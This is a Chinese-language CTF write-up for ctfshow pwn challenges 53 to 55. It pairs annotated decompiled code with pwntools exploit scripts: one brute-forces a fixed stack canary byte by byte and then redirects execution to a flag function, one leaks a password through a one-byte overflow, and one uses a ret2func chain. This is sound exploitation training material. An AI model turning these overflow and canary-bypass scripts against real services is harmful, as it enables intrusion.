爆破”Canary” pwn53

分析:

题目hint:”再多看一眼就会爆炸”

可能会遇到爆破

checksec

1

IDA分析

main函数:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo();
canary();
ctfshow();
return 0;
}

canary函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
} //调用canary函数读取静态的canary.txt文件中的内容将其存到bss段上的global_canary变量处

ctfshow函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
char v2[32]; // [esp+8h] [ebp-50h] BYREF
char buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int v5; // [esp+4Ch] [ebp-Ch]

v5 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( v5 <= 31 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
} //读取字符到v2这个字符数组中直到接收到'\n'其对应ASCII码为10
__isoc99_sscanf(v2, "%d", &nbytes); //将v2字符数组(字符串)转为整数并存入nbytes中充当后续read函数的读入数据大小
printf("$ "); //输出$提醒用户输入
read(0, buf, nbytes); //获取输入到buf数组中
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}//比较s1于global_canary,检查s1是否被覆盖,模拟了canary的保护机制,如果被覆盖则输出....
puts("Where is the flag?");
return fflush(stdout);
}

1

由IDA分析出的信息可知buf的起始地址距离ebp 0x30,s1距离ebp 0x10,并在IDA分析中发现后门函数,只要通过read栈溢出控制执行流到后门函数即可获得flag

但我们要保证s1的值不被更改所以需要逐字节爆破出”Canary”

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
canary = b''
#初始化一个空的字节串,用于存储canary值
for i in range(4):
#开始一个循环,目的是逐字节地找出canary值。因为canary是4个字节,所以循环4次
for j in range(0xFF):
#两位16进制数表示一个字节,该循环是为了遍历所有字节
io = remote('pwn.challenge.ctf.show',28148)
io.sendlineafter('>','200')
payload = b'a'*0x20 + canary + p8(j)
#p8(j)是将尝试的字符转为小端序,逐个字节覆盖s1
io.sendafter('$ ',payload)
ans = str(io.recv())
if "Canary Value Incorrect!" not in ans:
print(f"No{i+1} byte is {hex(j)}")
#如果尝试成功i+1 并将j转换成十六进制数输出
canary += p8(j)
#记录该转换成功的字节
break
else:
print("trying")

print(f"canary is {hex(u32(canary))}")

io = remote('pwn.challenge.ctf.show',28148)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag)
io.sendlineafter('>','-1')
io.sendafter('$ ',payload)
io.interactive()

puts额外输出 pwn54

分析:

checksec

1

IDA分析

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
char v5[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF //注意v5于s相差0x100
FILE *stream; // [esp+180h] [ebp-20h]
char *v8; // [esp+184h] [ebp-1Ch]
int *p_argc; // [esp+194h] [ebp-Ch]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("==========CTFshow-LOGIN==========");
puts("Input your Username:");
fgets(v5, 256, stdin); //v5最多只可读255个字符,故可溢出一个字符
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0; //如果输入小于256'\n'也会被读入将读入的换行符换为'\0'
strcat(v5, ",\nInput your Password."); //将后面这一串连接到V5字符的末尾
stream = fopen("/password.txt", "r");
if ( !stream )
{
puts("/password.txt: No such file or directory.");
exit(0);
}
fgets(s, 64, stream); //将密码读入s中
printf("Welcome ");
puts(v5); //输出v5中的字符
fgets(s1, 64, stdin); //获取输入存入s1
v5[0] = 0;
if ( !strcmp(s1, s) ) //比较s1于s中的字符是否相等
{
puts("Welcome! Here's what you want:");
flag(); //调用后门函数
}
else
{
puts("You has been banned!");
}
return 0;
}

通过对主函数分析,发现v5与s刚好在栈上相邻,且输入name时存在一个字节的溢出

我们可以利用该溢出覆盖v5中的象征字符串结尾的 ‘\0’ puts函数检测到’\0’才停止输出,覆盖后便可将s中的内容一起输出,得到Password

exp

1
2
3
4
5
6
from pwn import*
io = remote('pwn.challenge.ctf.show',28237)
payload=cyclic(0x100)
io.sendline(payload)
io.interactive()
#先获取Password

1

逗号后这部分即为Password

1
2
3
4
5
6
7
#修改脚本使用已知Password,用脚本自动实现有点麻烦所以就选择手动拿
from pwn import*
io = remote('pwn.challenge.ctf.show',28237)
payload=b'1'
io.sendline(payload)
io.sendline(b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3')
io.interactive()

pwn55

exp

1
2
3
4
5
6
7
8
9
10
from pwn import*
context.log_level = 'debug'
io=remote('pwn.challenge.ctf.show',28268)
elf=ELF('./pwn')
flag=elf.sym['flag']
flag1_addr=elf.sym['flag_func1']
flag2_addr=elf.sym['flag_func2']
payload=b'a'*(0x2C+4)+p32(flag1_addr)+p32(flag2_addr)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD)
io.sendlineafter('flag:',payload)
io.interactive()

注意:IDA中可以按h转换整数进制,if(flag1 && flag2 && a1 == 0xBDBDBDBD)当flag1、flag2均为1且a1=0xBDBDBDBD时为真,进入if内部。而不是三个变量均为0xBDBDBDBD